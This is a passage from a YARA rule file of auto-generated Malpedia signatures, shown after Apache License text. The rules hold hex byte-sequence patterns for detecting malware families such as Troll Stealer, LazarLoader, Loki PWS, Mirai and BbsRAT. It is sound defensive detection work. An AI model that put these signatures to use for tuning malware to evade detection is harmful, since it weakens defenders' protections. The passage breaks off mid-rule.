      separable from, or merely link (or bind by name) to the interfaces of,
      the Work and Derivative Works thereof.

      "Contribution" shall mean any work of authorship, including
      the original version of the Work and any modifications or additions
      to that Work or Derivative Works thereof, that is intentionally
      submitted to Licensor for inclusion in the Work by the copyright owner
      or by an individual or Legal Entity authorized to submit on behalf of
      the copyright owner. For the purposes of this definition, "submitted"
      means any form of electronic, verbal, or written communication sent
      to the Licensor or its representatives, including but not limited to
      communication on electronic mailing lists, source code control systems,
      and issue tracking systems that are managed by, or on behalf of, the
      Licensor for the purpose of discussing and improving the Work, but
      excluding communication that is conspicuously marked or otherwise
      designated in writing by the copyright owner as "Not a Contribution."

      "Contributor" shall mean Licensor and any individual or Legal Entity
      on behalf of whom a Contribution has been received by Licensor and
      subsequently incorporated within the Work.

   2. Grant of Copyright License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      copyright license to reproduce, prepare Derivative Works of,
      publicly display, publicly perform, sublicense, and distribute the
      Work and such Derivative Works in Source or Object form.

   3. Grant of Patent License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      (except as stated in this section) patent license to make, have made,
      use, offer to sell, sell, import, and otherwise transfer the Work,
      where such license applies only to those patent claims licensable
      by such Contributor that are necessarily infringed by their
      Contribution(s) alone or by combination of their Contribution(s)
      with the Work to which such Contribution(s) was submitted. If You
      institute patent litigation against any entity (including a
      cross-claim or counterclaim in a lawsuit) alleging that the Work
      or a Contribution incorporated within the Work constitutes direct
      or contributory patent infringement, then any patent licenses
      granted to You under this License for that Work shall terminate
      as of the date such litigation is filed.

   4. Redistribution. You may reproduce and distribute copies of the
      Work or Derivative Works thereof in any medium, with or without
      modifications, and in Source or Object form, provided that You
      meet the following conditions:

      (a) You must give any other recipients of the Work or
          Derivative Works a copy of this License; and

      (b) You must cause any modified files to carry prominent notices
          stating that You changed the files; and

      (c) You must retain, in the Source form of any Derivative Works
          that You distribute, all copyright, patent, trademark, and
          attribution notices from the Source form of the Work,
          excluding those notices that do not pertain to any part of
          the Derivative Works; and

      (d) If the Work includes a "NOTICE" text file as part of its
          distribution, then any Derivative Works that You distribute must
          include a readable copy of the attribution notices contained
          within such NOTICE file, excluding those notices that do not
          pertain to any part of the Derivative Works, in at least one
          of the following places: within a NOTICE text file distributed
          as part of the Derivative Works; within the Source form or
          documentation, if provided along with the Derivative Works; or,
          within a display generated by the Derivative Works, if and
          wherever such third-party notices normally appear. The contents
          of the NOTICE file are for informational purposes only and
          do not modify the License. You may add Your own attribution
          notices within Derivative Works that You distribute, alongside
          or as an addendum to the NOTICE text from the Work, provided
          that such additional attribution notices cannot be construed
          as modifying the License.

      You may add Your own copyright statement to Your modifications and
      may provide additional or different license terms and conditions
      for use, reproduction, or distribution of Your modifications, or
      for any such Derivative Works as a whole, provided Your use,
      reproduction, and distribution of the Work otherwise complies with
      the conditions stated in this License.

   5. Submission of Contributions. Unless You explicitly state otherwise,
      any Contribution intentionally submitted for inclusion in the Work
      by You to the Licensor shall be under the terms and conditions of
      this License, without any additional terms or conditions.
      Notwithstanding the above, nothing herein shall supersede or modify
      the terms of any separate license agreement you may have executed
      with Licensor regarding such Contributions.

   6. Trademarks. This License does not grant permission to use the trade
      names, trademarks, service marks, or product names of the Licensor,
      except as required for reasonable and customary use in describing the
      origin of the Work and reproducing the content of the NOTICE file.

   7. Disclaimer of Warranty. Unless required by applicable law or
      agreed to in writing, Licensor provides the Work (and each
      Contributor provides its Contributions) on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
      implied, including, without limitation, any warranties or conditions
      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
      PARTICULAR PURPOSE. You are solely responsible for determining the
      appropriateness of using or redistributing the Work and assume any
      risks associated with Your exercise of permissions under this License.

   8. Limitation of Liability. In no event and under no legal theory,
      whether in tort (including negligence), contract, or otherwise,
      unless required by applicable law (such as deliberate and grossly
      negligent acts) or agreed to in writing, shall any Contributor be
      liable to You for damages, including any direct, indirect, special,
      incidental, or consequential damages of any character arising as a
      result of this License or out of the use or inability to use the
      Work (including but not limited to damages for loss of goodwill,
      work stoppage, computer failure or malfunction, or any and all
      other commercial damages or losses), even if such Contributor
      has been advised of the possibility of such damages.

   9. Accepting Warranty or Additional Liability. While redistributing
      the Work or Derivative Works thereof, You may choose to offer,
      and charge a fee for, acceptance of support, warranty, indemnity,
      or other liability obligations and/or rights consistent with this
      License. However, in accepting such obligations, You may act only
      on Your own behalf and on Your sole responsibility, not on behalf
      of any other Contributor, and only if You agree to indemnify,
      defend, and hold each Contributor harmless for any liability
      incurred by, or claims asserted against, such Contributor by reason
      of your accepting any such warranty or additional liability.

   END OF TERMS AND CONDITIONS

   APPENDIX: How to apply the Apache License to your work.

      To apply the Apache License to your work, attach the following
      boilerplate notice, with the fields enclosed by brackets "[]"
      replaced with your own identifying information. (Don't include
      the brackets!)  The text should be enclosed in the appropriate
      comment syntax for the file format. We also recommend that a
      file or class name and description of purpose be included on the
      same "printed page" as the copyright notice for easier
      identification within third-party archives.

   Copyright 2022 Google

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

 */
/*
 * YARA Rule Set
 * Repository Name: Malpedia
 * Repository: https://github.com/malpedia/signator-rules/
 * Retrieval Date: 2026-03-15
 * Git Commit: 173f2e2012643b57ff6521a58ba6dd57331de3c6
 * Number of Rules: 1557
 * Skipped: 0 (age), 61 (quality), 2 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */
rule MALPEDIA_Win_Troll_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "40759ced-a25e-5434-bc7c-501cfe15d47a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.troll_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.troll_stealer_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "5f0403028aceb1e51ecaa890b1a7ca49efec2e1c71ccfd760d9d2619abef354a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 49895008 6699 49894010 0fb7d5 9c c0f2b0 66d3f2 }
		$sequence_1 = { d0ca 80c2f3 f9 f8 d0c2 4432ca f7c465491a38 }
		$sequence_2 = { f7d2 f9 d1c2 4153 41ffc3 311424 415b }
		$sequence_3 = { 4181eb2315e85c 313424 458bdd 49c7c33109c930 }
		$sequence_4 = { 81d9d83d744a f6d2 80c253 0fbfc8 d2cd d0c2 }
		$sequence_5 = { 313c24 480fbafbc6 c1eb14 480fb7da 5b 4863ff f8 }
		$sequence_6 = { 453bf3 4153 311424 664181eb996f 415b f9 4863d2 }
		$sequence_7 = { 4d8d141a 48bd0000000002000000 4d8d142a 410fc1f9 4c8bc4 4881ec80010000 450fbfc8 }
		$sequence_8 = { 403ad4 81f6a540bf26 f7d6 f5 d1c6 f8 f7d6 }
		$sequence_9 = { 4112eb 418910 4080dd61 40fec5 660bef 418b2b 4981c304000000 }
	condition:
		7 of them and filesize < 45868032
}

rule MALPEDIA_Win_Lazarloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4eef2499-48c5-5b94-8dd0-29267a0265f8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lazarloader_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "176d7f7f65178334e7677ff59a660edd6b016ed103feffa239e5ccc53e031e90"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48894de8 488945f0 488d15a0bd0000 b805000000 894520 894528 }
		$sequence_1 = { 488bd7 4c8d05fecd0000 83e23f 488bcf }
		$sequence_2 = { 33c0 b906020000 f3aa 33c0 66898424d0060000 488d8424d2060000 488bf8 }
		$sequence_3 = { 488bc2 e9???????? 493bec 0f84be000000 8b7500 33c0 f04d0fb1bcf120ba0100 }
		$sequence_4 = { 4889842490000000 488b442470 0fb700 6689442432 488b442458 0fb74c2432 }
		$sequence_5 = { 4885c9 7430 53 4883ec20 488d0563810000 }
		$sequence_6 = { eb19 488d1dec1e0100 eb10 488d1df31e0100 eb07 488d1dd21e0100 }
		$sequence_7 = { 4883ec20 e8???????? 488b05???????? 488d1da7710100 }
		$sequence_8 = { e8???????? 89442460 33c9 e8???????? }
		$sequence_9 = { 85c0 750d 488bcb e8???????? e9???????? 4c8d2557230100 }
	condition:
		7 of them and filesize < 364544
}

rule MALPEDIA_Win_Lokipws_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7c0fcf43-8505-5ab1-9538-f95766af9b37"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lokipws_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "a16d167a015bb2f0bb35ba7d5dec0418ca90b6fc4e94e3d241cc5d1eead21a9c"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a62 668945f8 58 668945fa 33c0 50 50 }
		$sequence_1 = { 6a0a e8???????? 59 33db 6a2e 5e }
		$sequence_2 = { 55 8bec 6a00 6a00 686c425ad4 6a09 }
		$sequence_3 = { 56 57 50 e8???????? 53 56 8d8574ffffff }
		$sequence_4 = { 53 50 8d8550ffffff 50 e8???????? 83c424 }
		$sequence_5 = { 85c0 745c 8b9d68ffffff 0fb603 89855cffffff 8b8564ffffff }
		$sequence_6 = { eb1f ff75ec 50 e8???????? 59 59 85c0 }
		$sequence_7 = { ff36 e8???????? 33c0 891e 83c41c }
		$sequence_8 = { 6a2e 5a 6a64 59 6a6c 5e }
		$sequence_9 = { e8???????? 8d4df8 51 57 57 6a01 }
	condition:
		7 of them and filesize < 1327104
}

rule MALPEDIA_Win_Project_Wood_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "99ac0756-7270-5092-a0e9-372c792f0f89"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.project_wood"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.project_wood_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "d6cbe15bf8f450c37b272bcbe4cde2ce46e9a95962a04b9a673413f1c7fe9c2a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7404 6aff eb05 6830750000 53 8d45e8 57 }
		$sequence_1 = { 57 50 ff7508 ff15???????? 85c0 7426 ff37 }
		$sequence_2 = { ffd5 68???????? e8???????? 59 5e 5d 5b }
		$sequence_3 = { 7422 8d4df8 b801000080 51 6819000200 57 68???????? }
		$sequence_4 = { ff7508 e8???????? 83c41c 84c0 0f84abfeffff 8d8550f7ffff }
		$sequence_5 = { 0f8426010000 8d45d8 50 8d85acfeffff 50 ff15???????? 8d45e4 }
		$sequence_6 = { 41 83f902 72e3 a3???????? eb10 c705????????01000000 891d???????? }
		$sequence_7 = { ab ab 66ab aa 8d45f0 c745f050000000 50 }
		$sequence_8 = { 7222 8d85a4f7ffff 6a04 50 8d450c 50 e8???????? }
		$sequence_9 = { 0f84e3feffff 57 8d45f8 ff7518 ff7514 50 8d8558f7ffff }
	condition:
		7 of them and filesize < 31137792
}

rule MALPEDIA_Win_Slub_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1c0a27b8-13ae-509d-aab0-4967f12001e1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slub"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slub_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "264575ee79f35f47d39754d10976636a28b6cb6786a3fc3ffd41fec9d7f59aa5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d8520fbffff 50 68???????? 8d8d08fbffff e8???????? 8bc8 e8???????? }
		$sequence_1 = { 0f848d000000 833801 56 8b74240c 0f8581000000 80bf3803000000 53 }
		$sequence_2 = { 55 33f6 c644242400 53 89742420 e8???????? }
		$sequence_3 = { 837f2c00 8b6c2428 89473c 897740 7527 3b6b10 0f84d90f0000 }
		$sequence_4 = { 85db 741a 33f6 85ed 7e14 56 }
		$sequence_5 = { c645fc16 8d8d80fdffff 8b85d4fdffff 83c018 50 e8???????? c645fc17 }
		$sequence_6 = { 0f842c060000 85c0 8b44241c 0f95c1 888815040000 8b4008 85c0 }
		$sequence_7 = { 83c418 85ff 7425 57 e8???????? 50 57 }
		$sequence_8 = { 8bf8 83c408 85ff 75cf 38442411 0f84700a0000 6a01 }
		$sequence_9 = { 8d8358020000 50 8d8664040000 50 e8???????? 83c408 84c0 }
	condition:
		7 of them and filesize < 1785856
}

rule MALPEDIA_Win_Moure_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "24a69d15-3d57-5717-b947-e4f8b8b4c7de"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moure"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moure_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "a44a23c1ab1d27db26aa7a8c25dca384907550ea332fbf4f4e348b0d15134c0b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3454 43 1558c950cb 0d487b0d4c 36a373801f1e }
		$sequence_1 = { bf55602540 006b05 bc7d506700 0033 58 bf35b8bf55 58 }
		$sequence_2 = { 8b35???????? 57 00d6 0075f0 894508 0075fc 00d6 }
		$sequence_3 = { 51 51 8b0d???????? 56 33f6 85c9 7509 }
		$sequence_4 = { 837dbc00 7436 0075bc 8d4ddc e8???????? a1???????? 3bc6 }
		$sequence_5 = { 47 8705???????? 00bf35b8bf55 a4 254000c935 b8cdc58cbb }
		$sequence_6 = { 3345fc 83c40c 23c7 3106 f70600000020 }
		$sequence_7 = { 5e 53 43 c1c361 5b c9 51 }
		$sequence_8 = { 668945e0 68a3714000 8bf0 85f6 7c2b 8b7d14 }
		$sequence_9 = { be844e0001 56 6a1f 007014 }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Datper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "41e2fa7a-5eff-5187-bc28-c757ee1b0d1c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.datper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.datper_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "d82b0dc20d83d1add855bab184abefd8ce45a5aa4fc977d43e37a534a15fd25f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c64428ff21 45 4b 75ee 81c4a0000000 5d 5f }
		$sequence_1 = { 8d8580feffff e8???????? c78588feffff04000000 33c0 }
		$sequence_2 = { 41 46 4a 85d2 75e8 5f 5e }
		$sequence_3 = { 8b03 e8???????? 8b95d8efffff b8???????? e8???????? }
		$sequence_4 = { e8???????? 8d8500f0ffff 33c9 ba00100000 e8???????? }
		$sequence_5 = { bf14000000 8d95c4d7ffff 8bcf a1???????? e8???????? }
		$sequence_6 = { c78568d7ffff0c000000 33c0 89856cd7ffff c78570d7ffffffffffff 6a00 6a01 8d8568d7ffff }
		$sequence_7 = { b805000000 e8???????? 83c003 8bd8 85db 7e29 b81a000000 }
		$sequence_8 = { 8945f8 8d45fc ba00280000 e8???????? 8b4508 }
		$sequence_9 = { 030424 13542404 83c408 0fb600 }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Nosu_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "44d00c94-691a-5086-98b8-273bd29fa9af"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nosu"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nosu_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "83643ba3003fff83421e0f7b019711e99b216991f08f5d871e4aa2d5ab6fc03f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f8455010000 8d442438 50 8d442424 50 6a02 6a01 }
		$sequence_1 = { 50 6a00 8d54246c e8???????? 83c40c 84c0 0f8477020000 }
		$sequence_2 = { 33d2 8bcb ff742420 55 56 ff74242c 56 }
		$sequence_3 = { 8844240a 84c0 7416 b201 8bce e8???????? 8b4514 }
		$sequence_4 = { 399688010000 7432 3996d8050000 742a 8b8ef8070000 ff7514 }
		$sequence_5 = { 8d86e0020000 85c0 740d 6a5c 59 }
		$sequence_6 = { 89b658080000 50 56 b201 8bcf e8???????? 83c414 }
		$sequence_7 = { 83c520 55 6a08 ff15???????? 50 ff15???????? }
		$sequence_8 = { c9 c3 57 8bfa 3b4c2408 740d 8bd1 }
		$sequence_9 = { 83c01e 03c7 0101 ff414c 8d4c2418 e8???????? 5f }
	condition:
		7 of them and filesize < 513024
}

rule MALPEDIA_Win_Bbsrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a602361e-80e2-5b74-861b-7270dd69ebb0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bbsrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bbsrat_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "9e349c993b7b920b82b539668c983c2083c9d2bb77a365140f827640d24e311d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3b0a 7411 837e3800 7d05 8d48fa 890b }
		$sequence_1 = { 52 50 55 e8???????? 8d8c2418140000 51 68???????? }
		$sequence_2 = { 3b7e28 7cf2 8b4b10 2b4b0c f7c1f0ffffff 0f84c1000000 8b5618 }
		$sequence_3 = { 3488 34a8 34b0 34c4 34cc 34e0 34e8 }
		$sequence_4 = { 33db f7442410fcffffff 0f86d5000000 6800060000 8d8c241c100000 56 }
		$sequence_5 = { 8bd0 89442428 83fe04 722c 8bff 8b0a 8b542414 }
		$sequence_6 = { 52 897b08 e8???????? f7d8 1bc0 }
		$sequence_7 = { e8???????? 6a36 8d4c246c 51 8d5610 6a46 52 }
		$sequence_8 = { e8???????? 85c0 752d 8b560c 895608 ff15???????? }
		$sequence_9 = { 7536 80780300 7530 80780400 752a 80780500 7524 }
	condition:
		7 of them and filesize < 434176
}

rule MALPEDIA_Elf_Mirai_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4a94410d-6aba-512a-9a6d-b6363b222e3b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.mirai_auto.yar#L1-L109"
		license_url = "N/A"
		logic_hash = "95cccaf1db437d04c6a57d106a32e35fecc8afe8a0ffd0ae0c2e8cb3aa402bb4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 66894104 7406 66c741064000 c6410911 }
		$sequence_1 = { c1ea03 89d0 c1e005 01d0 89ca 29c2 }
		$sequence_2 = { 66c1e808 d0e8 8d04c0 28c2 }
		$sequence_3 = { e9???????? e8???????? 66894304 e9???????? }
		$sequence_4 = { 6689432a e8???????? c7433400000000 894330 c6433801 c6433903 c6433a03 }
		$sequence_5 = { 8b1408 895310 8b54080c 66895314 }
		$sequence_6 = { 89d0 c1e005 01d0 89ca }
		$sequence_7 = { 3c19 7705 8d42e0 8801 }
		$sequence_8 = { c1e005 01d0 89ca 29c2 }
		$sequence_9 = { e9???????? e8???????? 66894314 e9???????? }
	condition:
		7 of them and filesize < 2228224
}

rule MALPEDIA_Win_Friedex_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "87cac36d-65df-59c3-8519-a2beb3554903"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.friedex_auto.yar#L1-L178"
		license_url = "N/A"
		logic_hash = "63043516012ac32e3e6d0450f407dc7719100d4d30f90ebfdb7b7cb46cef3e98"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 85c0 7403 53 ffd0 6880000000 33db }
		$sequence_1 = { 5f 5e 5d 5b 59 c20400 8b4c2404 }
		$sequence_2 = { e8???????? 6a2f 8bc8 e8???????? 6a62 8bc8 e8???????? }
		$sequence_3 = { 55 56 57 6a2a 5f 6a3f 5b }
		$sequence_4 = { 7410 6a3f 5a 663bfa }
		$sequence_5 = { 5e 5d c20c00 51 51 53 55 }
		$sequence_6 = { ff760c ffd0 8b442408 5e c20400 }
		$sequence_7 = { 897c2414 5d eb16 0fb730 }
		$sequence_8 = { 83c414 5b 5d c3 8b45f0 8b0c850440a500 8b55f8 }
		$sequence_9 = { c7424004000000 c7424458270000 c7424800100100 8b7de4 c787cc00000000000000 c787c800000000000000 8945dc }
		$sequence_10 = { 8955dc e8???????? 8d0de830a500 890424 894c2404 e8???????? }
		$sequence_11 = { 8d155e30a500 83ec04 891424 8945e8 }
		$sequence_12 = { 55 89e5 8d055a23a500 5d c3 }
		$sequence_13 = { 891424 894c2404 8945f8 e8???????? 8d0d4430a500 31d2 890c24 }
		$sequence_14 = { 56 57 53 83ec54 8d055a23a500 }
		$sequence_15 = { 890424 894c2404 e8???????? 8d0d4430a500 31d2 8b75f8 89462c }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Sadbridge_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d5c20ad4-43c0-50c3-9d4c-1a951b87b122"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sadbridge"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sadbridge_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "d280954e74300d3f9a45abc8f0031561691484da682361fb4efd2fdc22668bb8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48c7435800000000 4c89e1 48c7436000000000 48c7436800000000 48c7437000020000 66894378 }
		$sequence_1 = { 31d2 83e001 05ffffff7f 8944245c 41f7f5 89442458 488d869c000000 }
		$sequence_2 = { 0f8568fcffff 488b4570 448920 e9???????? 488b01 ff5048 83f8ff }
		$sequence_3 = { 53 4883ec28 4889542478 4989cd 4c89842480000000 4839d1 0f843f010000 }
		$sequence_4 = { 400f94c6 4885c0 0f94c2 4809c1 0f8489020000 8b842498000000 4531f6 }
		$sequence_5 = { 31d0 29d0 83f864 0f9fc0 0fb6c0 4883c428 5b }
		$sequence_6 = { 49c744240800000000 498d4c2438 49c744241000000000 488d7810 49893c24 49c744241800000000 49c744242000000000 }
		$sequence_7 = { 41ba01000000 4885c9 741e 488b4110 483b4118 0f83ad020000 0fb700 }
		$sequence_8 = { 488b4c2470 448b6c2478 4885c9 740a 4183fdff 0f84a7030000 4084ff }
		$sequence_9 = { 745c 498b4c2410 4839cb 7732 4d85c0 7416 4a8d0c50 }
	condition:
		7 of them and filesize < 25882624
}

rule MALPEDIA_Win_Felismus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "705e1888-c3cf-5bf6-ba18-e8626acda3dd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.felismus"
